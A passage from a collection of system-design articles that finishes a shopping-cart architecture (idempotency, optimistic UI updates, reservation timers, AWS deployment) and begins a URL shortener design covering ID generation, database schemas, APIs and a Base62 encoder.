    JSON.stringify({ requestHash, status: "processing" }),
    "NX",
    "EX",
    300, // 5 minute lock
  )

  if (!lockAcquired) {
    // Another request is processing with same key
    throw new ConflictError("Request already in progress")
  }

  try {
    const result = await handler()
    const record: IdempotencyRecord = {
      key,
      requestHash,
      response: result,
      statusCode: 201,
      createdAt: new Date(),
      expiresAt: new Date(Date.now() + 24 * 60 * 60 * 1000), // 24 hours
    }

    await redis.set(`idempotency:${key}`, JSON.stringify(record), "EX", 86400)
    return { result, statusCode: 201, cached: false }
  } catch (error) {
    await redis.del(`idempotency:${key}`)
    throw error
  }
}
```

## Frontend Considerations

### Cart Data Structure

**Naive approach:**

```typescript
// ❌ Array-based: O(n) lookups for quantity updates
interface Cart {
  items: CartItem[]
}
```

**Optimized approach:**

```typescript
// ✅ Normalized: O(1) lookups, efficient updates
interface CartState {
  items: Record<string, CartItem> // itemId → CartItem
  itemOrder: string[] // Maintains display order
  summary: CartSummary
  appliedCoupons: Coupon[]
  reservationTimers: Record<string, number> // itemId → expiresAt
}
```

**Why normalized:**

- Quantity update: Update single object, no array scan
- Remove item: Delete from `items`, filter `itemOrder`
- Reorder: Modify `itemOrder` only
- React renders: Reference equality checks work correctly

### Optimistic Updates with Rollback

```typescript collapse={1-10, 40-60}
import { useMutation, useQueryClient } from "@tanstack/react-query"

function useAddToCart() {
  const queryClient = useQueryClient()

  return useMutation({
    mutationFn: addItemToCart,

    onMutate: async (newItem) => {
      // Cancel outgoing refetches
      await queryClient.cancelQueries({ queryKey: ["cart"] })

      // Snapshot previous state
      const previousCart = queryClient.getQueryData(["cart"])

      // Optimistically update
      queryClient.setQueryData(["cart"], (old: CartState) => ({
        ...old,
        items: {
          ...old.items,
          [newItem.itemId]: {
            ...newItem,
            status: "pending", // Visual indicator
          },
        },
        itemOrder: [...old.itemOrder, newItem.itemId],
        summary: recalculateSummary(old, newItem),
      }))

      return { previousCart }
    },

    onError: (err, newItem, context) => {
      // Rollback on error
      queryClient.setQueryData(["cart"], context.previousCart)
      showToast({
        type: "error",
        message: err.code === "INSUFFICIENT_STOCK" ? `Only ${err.available} available` : "Failed to add item",
      })
    },

    onSuccess: (data, newItem) => {
      // Update with server response (includes reservation info)
      queryClient.setQueryData(["cart"], (old: CartState) => ({
        ...old,
        items: {
          ...old.items,
          [newItem.itemId]: {
            ...data.item,
            status: "confirmed",
          },
        },
        summary: data.cartSummary,
      }))
    },

    onSettled: () => {
      // Refetch to ensure consistency
      queryClient.invalidateQueries({ queryKey: ["cart"] })
    },
  })
}
```

### Reservation Countdown Timer

```typescript collapse={1-5, 25-35}
function useReservationTimer(expiresAt: string | null) {
  const [timeLeft, setTimeLeft] = useState<number | null>(null);
  const [isExpired, setIsExpired] = useState(false);

  useEffect(() => {
    if (!expiresAt) return;

    const updateTimer = () => {
      const remaining = new Date(expiresAt).getTime() - Date.now();
      if (remaining <= 0) {
        setIsExpired(true);
        setTimeLeft(0);
      } else {
        setTimeLeft(Math.ceil(remaining / 1000));
      }
    };

    updateTimer();
    const interval = setInterval(updateTimer, 1000);
    return () => clearInterval(interval);
  }, [expiresAt]);

  return { timeLeft, isExpired };
}

// Usage in component
function CartItem({ item }: { item: CartItemData }) {
  const { timeLeft, isExpired } = useReservationTimer(item.reservationExpiresAt);

  return (
    <div className={isExpired ? 'item-expired' : ''}>
      {/* ... item display ... */}
      {timeLeft !== null && timeLeft < 300 && (
        <div className="reservation-warning">
          Reserved for {formatTime(timeLeft)} - complete checkout soon
        </div>
      )}
      {isExpired && (
        <div className="reservation-expired">
          Reservation expired - item may become unavailable
        </div>
      )}
    </div>
  );
}
```

### Real-Time Price Updates

```typescript collapse={1-10, 30-45}
function useCartPriceSync(cartId: string) {
  const queryClient = useQueryClient()

  useEffect(() => {
    const ws = new WebSocket(`wss://api.example.com/cart/${cartId}/updates`)

    ws.onmessage = (event) => {
      const update = JSON.parse(event.data)

      switch (update.type) {
        case "price_change":
          queryClient.setQueryData(["cart"], (old: CartState) => {
            const item = old.items[update.itemId]
            if (!item) return old

            const priceDiff = update.newPrice - item.unitPrice
            return {
              ...old,
              items: {
                ...old.items,
                [update.itemId]: {
                  ...item,
                  unitPrice: update.newPrice,
                  lineTotal: update.newPrice * item.quantity,
                  priceChanged: priceDiff !== 0,
                  priceDiff,
                },
              },
              summary: recalculateSummary(old, update),
            }
          })
          break

        case "item_unavailable":
          queryClient.setQueryData(["cart"], (old: CartState) => ({
            ...old,
            items: {
              ...old.items,
              [update.itemId]: {
                ...old.items[update.itemId],
                available: false,
                availableQuantity: update.availableQuantity,
              },
            },
          }))
          showToast({
            type: "warning",
            message: `${old.items[update.itemId].name} is now out of stock`,
          })
          break

        case "reservation_expired":
          queryClient.invalidateQueries({ queryKey: ["cart"] })
          break
      }
    }

    return () => ws.close()
  }, [cartId, queryClient])
}
```

## Infrastructure Design

### Cloud-Agnostic Architecture

#### Compute

| Component             | Concept                  | Requirements                        |
| --------------------- | ------------------------ | ----------------------------------- |
| Cart Service          | Stateless API servers    | Auto-scaling, health checks         |
| Checkout Orchestrator | Stateful workflow engine | Durable execution, retry support    |
| Background Workers    | Job processors           | At-least-once delivery, idempotency |

#### Data Stores

| Data              | Concept           | Requirements                          |
| ----------------- | ----------------- | ------------------------------------- |
| Cart (hot)        | In-memory cache   | Sub-ms reads, TTL support, clustering |
| Cart (persistent) | Relational DB     | ACID, complex queries, replication    |
| Inventory         | Relational DB     | Strong consistency, row-level locking |
| Reservations      | KV store with TTL | Automatic expiration, high throughput |
| Orders            | Relational DB     | ACID, audit trail                     |

#### Messaging

| Use Case          | Concept       | Requirements                     |
| ----------------- | ------------- | -------------------------------- |
| Cart events       | Message queue | At-least-once, ordering per cart |
| Inventory updates | Event stream  | Fan-out to multiple consumers    |
| Abandoned cart    | Delayed queue | Scheduled delivery               |

### AWS Reference Architecture

![Diagram](./diagram-6.svg)

### AWS Service Mapping

| Component          | AWS Service       | Configuration                            |
| ------------------ | ----------------- | ---------------------------------------- |
| Cart API           | ECS Fargate       | 2-50 tasks, auto-scaling on CPU          |
| Cart cache         | ElastiCache Redis | r6g.large, cluster mode, 3 shards        |
| Cart DB            | RDS PostgreSQL    | db.r6g.xlarge, Multi-AZ, 2 read replicas |
| Reservations       | DynamoDB          | On-demand, TTL enabled                   |
| Checkout saga      | Step Functions    | Express workflow (30 min max)            |
| Event bus          | SQS + EventBridge | Standard queue, 14-day retention         |
| Background workers | Lambda            | 1024MB, 15-min timeout                   |
| CDN                | CloudFront        | Price class 100 (US/EU)                  |
| WAF                | AWS WAF           | Rate limiting, SQL injection protection  |

### Multi-Region Deployment

For high availability during peak events:

![Diagram](./diagram-7.svg)

**Failover Strategy:**

- Route 53 health checks detect primary failure
- Global Accelerator reroutes traffic to secondary
- RDS replica promoted to primary (RPO: ~1 minute)
- Redis cache rebuilt from database (acceptable for carts)

### Self-Hosted Alternatives

| Managed Service | Self-Hosted Option       | When to Self-Host                        |
| --------------- | ------------------------ | ---------------------------------------- |
| ElastiCache     | Redis Cluster on EC2     | Specific modules (RedisGraph, RedisJSON) |
| RDS PostgreSQL  | PostgreSQL on EC2        | Cost at scale, specific extensions       |
| DynamoDB        | ScyllaDB / Cassandra     | Multi-cloud, cost optimization           |
| Step Functions  | Temporal.io              | Complex workflows, long-running sagas    |
| SQS             | RabbitMQ / Redis Streams | Specific routing needs                   |

## Conclusion

This shopping cart design prioritizes **availability and user experience** over perfect consistency, accepting that:

1. **Eventual consistency for display** is acceptable when strong consistency is enforced at checkout
2. **Soft reservations with expiry** prevent inventory lock-up while providing reasonable purchase assurance
3. **Saga orchestration** provides reliable distributed transactions with clear compensation paths
4. **Multi-tier caching** delivers sub-millisecond cart reads while maintaining durability

**Key tradeoffs accepted:**

- Occasional checkout failures when reservations expire (mitigated by clear countdown UX)
- Rare overselling on flash sales (handled via backorder/compensation)
- Higher operational complexity from distributed architecture (justified by scale requirements)

**What this design does NOT address:**

- Multi-currency pricing (requires additional currency service)
- Subscription/recurring purchases (different cart model)
- B2B bulk ordering (different quantity/pricing rules)
- Marketplace multi-seller carts (complex checkout splitting)

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, eventual consistency)
- Database concepts (ACID, sharding, replication)
- API design principles (REST, idempotency)
- Basic understanding of payment processing flows

### Terminology

| Term                                | Definition                                                             |
| ----------------------------------- | ---------------------------------------------------------------------- |
| **AFS (Available For Sale)**        | Physical inventory minus hard reservations                             |
| **AFR (Available For Reservation)** | AFS minus soft reservations                                            |
| **Soft Reservation**                | Temporary inventory hold with automatic expiry (typically 5 minutes)   |
| **Hard Reservation**                | Committed inventory allocation after payment confirmation              |
| **Saga**                            | Pattern for distributed transactions using compensating actions        |
| **Idempotency Key**                 | Client-generated UUID ensuring duplicate requests return same response |
| **Cart Merge**                      | Process of combining guest cart with authenticated user's cart         |

### Summary

- **Two-tier storage** (Redis + PostgreSQL) balances latency and durability for cart operations
- **Soft/hard reservation model** prevents inventory lock-up while providing checkout assurance
- **Saga orchestration** with compensation ensures reliable multi-service checkout
- **Eventually consistent inventory reads** with strongly consistent checkout enables scale
- **Normalized frontend state** with optimistic updates delivers responsive UX
- **Multi-region deployment** with failover provides 99.99% availability target

### References

- [Shopify Engineering: BFCM Readiness](https://shopify.engineering/bfcm-readiness-2025) - How Shopify handles 80K+ checkouts/minute
- [Microservices.io: Saga Pattern](https://microservices.io/patterns/data/saga.html) - Distributed transaction patterns
- [AWS: Serverless E-commerce Architecture](https://aws.amazon.com/blogs/architecture/architecting-a-highly-available-serverless-microservices-based-ecommerce-site/) - Reference implementation
- [InfoQ: Shopify Flash Sale Architecture](https://www.infoq.com/presentations/shopify-architecture-flash-sale/) - Pod-based scaling
- [Modern Treasury: Idempotency in Payments](https://www.moderntreasury.com/journal/why-idempotency-matters-in-payments) - Payment idempotency patterns
- [Baymard Institute: Checkout Usability](https://baymard.com/research/checkout-usability) - UX research with 70% abandonment baseline
- [Microsoft: Soft Reservation Capabilities](https://learn.microsoft.com/en-us/dynamics365/supply-chain/inventory/inventory-visibility-reservations) - Inventory reservation patterns
- [Queue-it: Overselling Prevention](https://queue-it.com/blog/overselling/) - Flash sale inventory challenges

---

## Design a URL Shortener: IDs, Storage, and Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/url-shortener-design
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a URL shortening service covering ID generation strategies, database sharding, caching layers, analytics pipelines, and abuse prevention. This design addresses sub-50ms redirect latency at Bitly scale (6 billion clicks/month) with 99.99% availability and real-time click tracking.

# Design a URL Shortener: IDs, Storage, and Scale

A comprehensive system design for a URL shortening service covering ID generation strategies, database sharding, caching layers, analytics pipelines, and abuse prevention. This design addresses sub-50ms redirect latency at Bitly scale (6 billion clicks/month) with 99.99% availability and real-time click tracking.

<figure>

![High-level architecture: CDN handles cached redirects, core services manage shortening and redirection, analytics collected asynchronously to avoid blocking redirects.](./high-level-architecture-cdn-handles-cached-redirects-core-services-manage-shorte.svg)

<figcaption>High-level architecture: CDN handles cached redirects, core services manage shortening and redirection, analytics collected asynchronously to avoid blocking redirects.</figcaption>
</figure>

## Abstract

URL shorteners solve a deceptively simple problem—mapping short codes to long URLs—but at scale, the design choices compound: ID generation must be collision-free across distributed nodes, redirects must complete in milliseconds globally, and analytics must not block the critical path.

**Core architectural decisions:**

| Decision      | Choice                               | Rationale                                                   |
| ------------- | ------------------------------------ | ----------------------------------------------------------- |
| ID generation | Snowflake + Base62                   | Decentralized, time-ordered, no coordination overhead       |
| Storage       | NoSQL key-value (Cassandra/DynamoDB) | O(1) lookups, horizontal scaling, 100:1 read-to-write ratio |
| Caching       | Multi-tier (CDN → Redis → DB)        | Sub-50ms global latency, hot-key protection                 |
| Redirect type | 302 (Temporary) with CDN caching     | Enables click tracking while CDN absorbs traffic            |
| Analytics     | Async pipeline (Kafka → ClickHouse)  | Never blocks redirect path                                  |
| Sharding      | Consistent hashing on short code     | Minimal data movement on cluster changes                    |

**Key trade-offs accepted:**

- 302 redirects increase server load vs. 301, but enable accurate analytics
- Pre-generated keys (KGS) require storage overhead but guarantee no collisions
- Multi-tier caching adds complexity but essential for viral link handling
- Async analytics means real-time dashboards have 1-5 second delay

**What this design optimizes:**

- Sub-50ms redirect latency globally via CDN edge caching
- 10,000+ redirects/second per node with Redis caching
- Zero collision guarantee via Key Generation Service
- Real-time abuse detection without blocking legitimate traffic

## Requirements

### Functional Requirements

| Requirement         | Priority | Notes                                           |
| ------------------- | -------- | ----------------------------------------------- |
| Shorten long URLs   | Core     | Generate unique short code for any valid URL    |
| Redirect short URLs | Core     | 301/302 redirect to original URL                |
| Custom short codes  | Core     | User-specified aliases (e.g., `suj.ee/my-link`) |
| Link expiration     | Core     | TTL-based or click-limit expiration             |
| Click analytics     | Core     | Count, geo, device, referrer tracking           |
| Link management     | Extended | Edit destination, enable/disable links          |
| Bulk shortening     | Extended | API for batch URL processing                    |
| QR code generation  | Extended | QR codes for shortened URLs                     |

### Non-Functional Requirements

| Requirement         | Target                   | Rationale                                             |
| ------------------- | ------------------------ | ----------------------------------------------------- |
| Availability        | 99.99% (4 nines)         | Links embedded everywhere; downtime = broken internet |
| Redirect latency    | p99 < 50ms               | User experience, SEO impact                           |
| Write latency       | p99 < 200ms              | Acceptable for link creation                          |
| Throughput (reads)  | 100K RPS                 | Peak viral traffic handling                           |
| Throughput (writes) | 1K RPS                   | Link creation is infrequent                           |
| Data durability     | 99.999999999% (11 nines) | Links must never be lost                              |
| URL lifetime        | 5+ years default         | Permalinks for content                                |

### Scale Estimation

**Traffic patterns:**

- Read-to-write ratio: 100:1 (redirects dominate)
- Viral amplification: Single link can generate 80% of daily traffic in minutes

**Users and URLs:**

- Monthly Active Users: 10M
- New URLs/day: 1M
- Total URLs (5 years): 1M × 365 × 5 = 1.825B URLs

**Traffic:**

- Redirects/day: 1M URLs × 100 clicks avg = 100M redirects/day
- Average RPS: 100M / 86400 ≈ 1,157 RPS
- Peak multiplier (10x): 11,570 RPS
- Viral spike (100x single link): 100K+ RPS burst

**Storage:**

- URL record: ~500 bytes (short_code, long_url, metadata, timestamps)
- Daily growth: 1M × 500B = 500MB/day
- 5-year storage: 500MB × 365 × 5 ≈ 912GB URLs
- Analytics (per click): ~200 bytes
- Analytics daily: 100M × 200B = 20GB/day
- Analytics 1-year retention: 7.3TB

**Key insight:** Storage is manageable; the challenge is latency at the read path and handling viral traffic spikes.

## Design Paths

### Path A: Counter-Based ID Generation

**Best when:**

- Single datacenter deployment
- Moderate scale (< 10M URLs)
- Simplicity is paramount
- Sequential IDs acceptable

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Auto-increment database ID
- Base62 encode the numeric ID
- Single source of truth for ID generation

**Trade-offs:**

- ✅ Simplest implementation
- ✅ Guaranteed unique (database constraint)
- ✅ Short codes (sequential = compact)
- ❌ Single point of failure (database)
- ❌ Predictable URLs (security concern)
- ❌ Doesn't scale horizontally

**Real-world example:** Early TinyURL used this approach before scaling challenges emerged.

### Path B: Hash-Based Generation

**Best when:**

- Idempotent shortening required (same URL → same short code)
- Deduplication is important
- Moderate collision risk acceptable

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Hash the long URL
- Truncate hash to desired length
- Handle collisions with rehashing or appending

**Trade-offs:**

- ✅ Same URL always produces same short code
- ✅ No central coordinator needed
- ✅ Natural deduplication
- ❌ Collision probability increases with scale
- ❌ Collision handling adds latency
- ❌ Cannot support custom codes easily

**Collision math (Birthday Paradox):**

- 7-character Base62: 62^7 = 3.5 trillion combinations
- At 1 billion URLs: collision probability ≈ 0.014%
- At 10 billion URLs: collision probability ≈ 1.4%

### Path C: Distributed ID Generation (Snowflake + Base62)

**Best when:**

- Multi-datacenter deployment
- High scale (billions of URLs)
- Time-ordered IDs beneficial
- No central coordinator acceptable

**Architecture:**

![Diagram](./diagram-3.svg)

**Snowflake ID structure (64-bit):**

| Bits | Field     | Purpose                             |
| ---- | --------- | ----------------------------------- |
| 41   | Timestamp | Milliseconds since epoch (69 years) |
| 10   | Node ID   | 1024 unique nodes                   |
| 12   | Sequence  | 4096 IDs/ms/node                    |

**Trade-offs:**

- ✅ No coordination between nodes
- ✅ Time-ordered (useful for analytics)
- ✅ 4M IDs/second/node capacity
- ❌ Longer codes (64-bit → 11 Base62 chars)
- ❌ Clock synchronization required
- ❌ Node ID management overhead

**Real-world example:** Twitter uses Snowflake for tweet IDs; Discord adopted it for message IDs.

### Path D: Pre-Generated Key Service (KGS)

**Best when:**

- Guaranteed zero collisions required
- Predictable short code length needed
- Can tolerate key pre-generation overhead

**Architecture:**

![Diagram](./diagram-4.svg)

**Key characteristics:**

- Offline process generates all possible short codes
- Application servers fetch batches of unused keys
- Atomic move from unused → used on assignment

**Trade-offs:**

- ✅ Zero collision guarantee
- ✅ O(1) key retrieval
- ✅ Predictable key length
- ❌ Storage for pre-generated keys (~412GB for 68.7B 6-char keys)
- ❌ KGS becomes critical dependency
- ❌ Key exhaustion planning required

**Real-world example:** Production URL shorteners at scale often use KGS for reliability.

### Path Comparison

| Factor           | Counter  | Hash   | Snowflake | KGS          |
| ---------------- | -------- | ------ | --------- | ------------ |
| Collision risk   | None     | Medium | None      | None         |
| Coordination     | Required | None   | None      | Batch fetch  |
| Code length      | Shortest | Fixed  | 11 chars  | Configurable |
| Predictability   | High     | Low    | Medium    | Low          |
| Horizontal scale | Poor     | Good   | Excellent | Good         |
| Complexity       | Low      | Medium | Medium    | High         |

### This Article's Focus

This article focuses on **Path D (KGS) + Snowflake hybrid** because:

1. Zero collision guarantee is critical for production reliability
2. Enables both random (KGS) and time-ordered (Snowflake) IDs
3. Proven at Bitly scale (6B clicks/month)
4. Supports custom short codes naturally

## High-Level Design

### Component Overview

![Diagram](./diagram-5.svg)

### Shortening Service

Receives long URLs, validates, scans for malware, assigns short codes, and persists mappings.

**Responsibilities:**

- URL validation (scheme, format, reachability)
- Malware/phishing scanning
- Short code assignment (KGS or custom)
- Duplicate detection (optional)
- Metadata extraction (title, favicon)

**Design decisions:**

| Decision           | Choice                                     | Rationale                                 |
| ------------------ | ------------------------------------------ | ----------------------------------------- |
| Duplicate handling | Optional dedup                             | Some users want unique links for tracking |
| URL validation     | Async HEAD request                         | Don't block on slow destinations          |
| Scanning           | Sync for new domains, async for known-good | Balance security with latency             |
| Custom codes       | Reserve from KGS pool                      | Prevents collision with random codes      |

### Redirect Service

The most critical service—handles 99% of traffic. Must be blazing fast.

**Flow:**

![Diagram](./diagram-6.svg)

**Critical optimizations:**

- Redis stores hot URLs (LRU eviction)
- Bloom filter prevents cache stampede on non-existent codes
- Connection pooling to database (PGBouncer pattern)
- Analytics logging is fire-and-forget (async)

### Key Generation Service (KGS)

Pre-generates unique short codes for zero-collision guarantee.

**Architecture:**

![Diagram](./diagram-7.svg)

**Key allocation strategy:**

1. Each app server requests batch of 1000 keys
2. Keys moved atomically to "allocated" state
3. App server caches keys in memory
4. On use, key marked as "used"
5. Unused allocated keys returned on graceful shutdown

**Failure handling:**

- App server crash: Allocated keys orphaned (acceptable loss at scale)
- KGS unavailable: App servers have local cache buffer
- Key exhaustion: Alert at 80% usage, generate new batch

### Analytics Collector

Captures click data without blocking redirects.

**Click event structure:**

```typescript
interface ClickEvent {
  shortCode: string
  timestamp: number

  // Client info
  ipHash: string // Anonymized for GDPR
  userAgent: string
  referer: string | null

  // Derived fields
  country: string
  city: string
  deviceType: "mobile" | "desktop" | "tablet"
  browser: string
  os: string

  // Bot detection
  isBot: boolean
  botType: string | null
}
```

**Pipeline:**

1. Redirect service sends event to Kafka (fire-and-forget)
2. Stream processor enriches (geo-IP, device parsing, bot detection)
3. Aggregated into ClickHouse for querying
4. Real-time counters updated in Redis (for API responses)

## API Design

### Create Short URL

**Endpoint:** `POST /api/v1/urls`

**Request:**

```json
{
  "url": "https://example.com/very/long/path?with=params",
  "customCode": "my-link",
  "expiresAt": "2025-12-31T23:59:59Z",
  "password": "optional-password",
  "maxClicks": 1000,
  "tags": ["campaign-2024", "social"]
}
```

**Response (201 Created):**

```json
{
  "id": "url_abc123def456",
  "shortCode": "my-link",
  "shortUrl": "https://suj.ee/my-link",
  "longUrl": "https://example.com/very/long/path?with=params",
  "createdAt": "2024-02-03T10:00:00Z",
  "expiresAt": "2025-12-31T23:59:59Z",
  "isPasswordProtected": true,
  "maxClicks": 1000,
  "clickCount": 0,
  "qrCode": "https://suj.ee/api/v1/urls/url_abc123def456/qr"
}
```

**Error Responses:**

| Code | Error                 | When                             |
| ---- | --------------------- | -------------------------------- |
| 400  | `INVALID_URL`         | Malformed or unreachable URL     |
| 400  | `INVALID_CUSTOM_CODE` | Code contains invalid characters |
| 409  | `CODE_TAKEN`          | Custom code already exists       |
| 403  | `URL_BLOCKED`         | Destination flagged as malicious |
| 429  | `RATE_LIMITED`        | Too many requests                |

**Rate Limits:**

| Plan       | Create/hour | Create/day |
| ---------- | ----------- | ---------- |
| Free       | 50          | 500        |
| Pro        | 500         | 5,000      |
| Enterprise | 5,000       | Unlimited  |

### Redirect (Read)

**Endpoint:** `GET /{shortCode}`

**Response:** `302 Found` with `Location` header

**Headers:**

```http
HTTP/1.1 302 Found
Location: https://example.com/very/long/path
Cache-Control: private, max-age=60
X-Robots-Tag: noindex
```

**Error Responses:**

| Code | When                                  |
| ---- | ------------------------------------- |
| 404  | Short code not found                  |
| 410  | Link expired or disabled              |
| 429  | Click limit exceeded                  |
| 403  | Password required (returns HTML form) |

### Get URL Analytics

**Endpoint:** `GET /api/v1/urls/{id}/analytics`

**Query Parameters:**

| Param     | Type    | Default | Description                            |
| --------- | ------- | ------- | -------------------------------------- |
| period    | string  | 7d      | Time range (24h, 7d, 30d, 90d, custom) |
| startDate | ISO8601 | -       | Custom range start                     |
| endDate   | ISO8601 | -       | Custom range end                       |
| groupBy   | string  | day     | Aggregation (hour, day, week, month)   |

**Response:**

```json
{
  "urlId": "url_abc123def456",
  "period": {
    "start": "2024-01-27T00:00:00Z",
    "end": "2024-02-03T23:59:59Z"
  },
  "summary": {
    "totalClicks": 15420,
    "uniqueClicks": 12350,
    "botClicks": 1230
  },
  "timeSeries": [
    { "date": "2024-01-27", "clicks": 2100, "unique": 1800 },
    { "date": "2024-01-28", "clicks": 2450, "unique": 2100 }
  ],
  "topReferrers": [
    { "referrer": "twitter.com", "clicks": 5200, "percentage": 33.7 },
    { "referrer": "facebook.com", "clicks": 3100, "percentage": 20.1 }
  ],
  "topCountries": [
    { "country": "US", "clicks": 6800, "percentage": 44.1 },
    { "country": "UK", "clicks": 2300, "percentage": 14.9 }
  ],
  "devices": {
    "mobile": { "clicks": 9200, "percentage": 59.7 },
    "desktop": { "clicks": 5800, "percentage": 37.6 },
    "tablet": { "clicks": 420, "percentage": 2.7 }
  }
}
```

### Bulk Create URLs

**Endpoint:** `POST /api/v1/urls/bulk`

**Request:**

```json
{
  "urls": [{ "url": "https://example.com/page1" }, { "url": "https://example.com/page2", "customCode": "page2" }],
  "defaultExpiry": "2025-12-31T23:59:59Z",
  "tags": ["bulk-import"]
}
```

**Response (202 Accepted):**

```json
{
  "jobId": "job_xyz789",
  "status": "processing",
  "totalUrls": 2,
  "statusUrl": "/api/v1/jobs/job_xyz789"
}
```

### List User URLs

**Endpoint:** `GET /api/v1/urls?cursor=xxx&limit=50`

**Response:**

```json
{
  "urls": [
    {
      "id": "url_abc123",
      "shortCode": "abc123",
      "shortUrl": "https://suj.ee/abc123",
      "longUrl": "https://example.com/...",
      "clickCount": 1542,
      "createdAt": "2024-01-15T10:00:00Z",
      "status": "active"
    }
  ],
  "pagination": {
    "nextCursor": "cursor_def456",
    "hasMore": true,
    "total": 234
  }
}
```

## Data Modeling

### URL Mapping (Cassandra)

**Primary table optimized for redirect lookups:**

```sql
CREATE TABLE url_mappings (
    short_code TEXT,
    long_url TEXT,
    user_id UUID,
    created_at TIMESTAMP,
    expires_at TIMESTAMP,
    is_active BOOLEAN,
    click_count COUNTER,
    password_hash TEXT,
    max_clicks INT,
    metadata MAP<TEXT, TEXT>,
    PRIMARY KEY (short_code)
) WITH default_time_to_live = 157680000  -- 5 years
  AND compaction = {'class': 'LeveledCompactionStrategy'}
  AND caching = {'keys': 'ALL', 'rows_per_partition': 'ALL'};
```

**Secondary table for user queries:**

```sql
CREATE TABLE urls_by_user (
    user_id UUID,
    created_at TIMESTAMP,
    short_code TEXT,
    long_url TEXT,
    click_count BIGINT,
    is_active BOOLEAN,
    PRIMARY KEY ((user_id), created_at, short_code)
) WITH CLUSTERING ORDER BY (created_at DESC);
```

**Why Cassandra:**

- O(1) lookups by short_code (partition key)
- Horizontal scaling for billions of URLs
- Tunable consistency (ONE for reads, QUORUM for writes)
- Built-in TTL for expiration
- 100:1 read-to-write ratio matches Cassandra strengths

### Click Analytics (ClickHouse)

```sql
CREATE TABLE clicks (
    short_code String,
    clicked_at DateTime64(3),

    -- Client data
    ip_hash FixedString(16),
    country LowCardinality(String),
    city String,

    -- Device data
    device_type Enum8('mobile' = 1, 'desktop' = 2, 'tablet' = 3),
    browser LowCardinality(String),
    os LowCardinality(String),

    -- Referrer
    referrer_domain LowCardinality(String),
    referrer_path String,

    -- Bot detection
    is_bot UInt8,
    bot_type LowCardinality(String),

    -- Aggregation keys
    date Date MATERIALIZED toDate(clicked_at),
    hour UInt8 MATERIALIZED toHour(clicked_at)
)
ENGINE = MergeTree()
PARTITION BY toYYYYMM(clicked_at)
ORDER BY (short_code, clicked_at)
TTL clicked_at + INTERVAL 1 YEAR;

-- Materialized view for real-time aggregates
CREATE MATERIALIZED VIEW clicks_daily_mv
ENGINE = SummingMergeTree()
PARTITION BY toYYYYMM(date)
ORDER BY (short_code, date, country, device_type)
AS SELECT
    short_code,
    date,
    country,
    device_type,
    count() as clicks,
    uniqExact(ip_hash) as unique_clicks
FROM clicks
GROUP BY short_code, date, country, device_type;
```

**Why ClickHouse:**

- Columnar storage for analytics queries
- 10-100x compression on click data
- Sub-second aggregations on billions of rows
- Materialized views for real-time dashboards

### User and Configuration (PostgreSQL)

```sql
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    email TEXT UNIQUE NOT NULL,
    password_hash TEXT NOT NULL,
    plan TEXT DEFAULT 'free',
    api_key_hash TEXT UNIQUE,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE custom_domains (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID REFERENCES users(id),
    domain TEXT UNIQUE NOT NULL,
    is_verified BOOLEAN DEFAULT false,
    ssl_status TEXT DEFAULT 'pending',
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE api_keys (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID REFERENCES users(id),
    key_hash TEXT UNIQUE NOT NULL,
    name TEXT,
    permissions JSONB DEFAULT '["read", "write"]',
    last_used_at TIMESTAMPTZ,
    expires_at TIMESTAMPTZ,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_users_api_key ON users(api_key_hash);
CREATE INDEX idx_domains_user ON custom_domains(user_id);
```

### Key Generation Service (PostgreSQL)

```sql
CREATE TABLE keys_unused (
    short_code TEXT PRIMARY KEY,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE keys_allocated (
    short_code TEXT PRIMARY KEY,
    allocated_to TEXT NOT NULL,  -- Server instance ID
    allocated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE keys_used (
    short_code TEXT PRIMARY KEY,
    used_at TIMESTAMPTZ DEFAULT NOW()
);

-- Batch allocation function
CREATE OR REPLACE FUNCTION allocate_keys(
    server_id TEXT,
    batch_size INT
) RETURNS TABLE(short_code TEXT) AS $$
BEGIN
    RETURN QUERY
    WITH allocated AS (
        DELETE FROM keys_unused
        WHERE short_code IN (
            SELECT ku.short_code
            FROM keys_unused ku
            LIMIT batch_size
            FOR UPDATE SKIP LOCKED
        )
        RETURNING keys_unused.short_code
    )
    INSERT INTO keys_allocated (short_code, allocated_to)
    SELECT a.short_code, server_id
    FROM allocated a
    RETURNING keys_allocated.short_code;
END;
$$ LANGUAGE plpgsql;
```

### Database Selection Matrix

| Data Type      | Store      | Rationale                                            |
| -------------- | ---------- | ---------------------------------------------------- |
| URL mappings   | Cassandra  | O(1) lookups, horizontal scale, high read throughput |
| Click events   | ClickHouse | Columnar analytics, compression, fast aggregations   |
| User accounts  | PostgreSQL | ACID transactions, relational queries                |
| KGS keys       | PostgreSQL | Transactional batch allocation                       |
| Hot URLs cache | Redis      | Sub-ms latency, TTL support                          |
| Rate limits    | Redis      | Atomic counters, sliding windows                     |
| Bloom filter   | Redis      | Memory-efficient existence checks                    |

## Low-Level Design

### Base62 Encoder

```typescript collapse={1-5}
const CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
const BASE = BigInt(62)

export function encodeBase62(num: bigint): string {
  if (num === 0n) return CHARSET[0]

  let result = ""
  while (num > 0n) {
    result = CHARSET[Number(num % BASE)] + result
    num = num / BASE
  }
  return result
}

export function decodeBase62(str: string): bigint {
  let result = 0n
  for (const char of str) {
    const index = CHARSET.indexOf(char)
    if (index === -1) throw new Error(`Invalid character: ${char}`)
    result = result * BASE + BigInt(index)
  }
  return result
}

// Pad to fixed length for consistent URLs
export function encodeBase62Padded(num: bigint, length: number): string {
  const encoded = encodeBase62(num)
  return encoded.padStart(length, "0")
}
```

**Code length capacity:**

| Length | Combinations | Sufficient for        |
| ------ | ------------ | --------------------- |
| 6      | 56.8B        | Small-medium services |
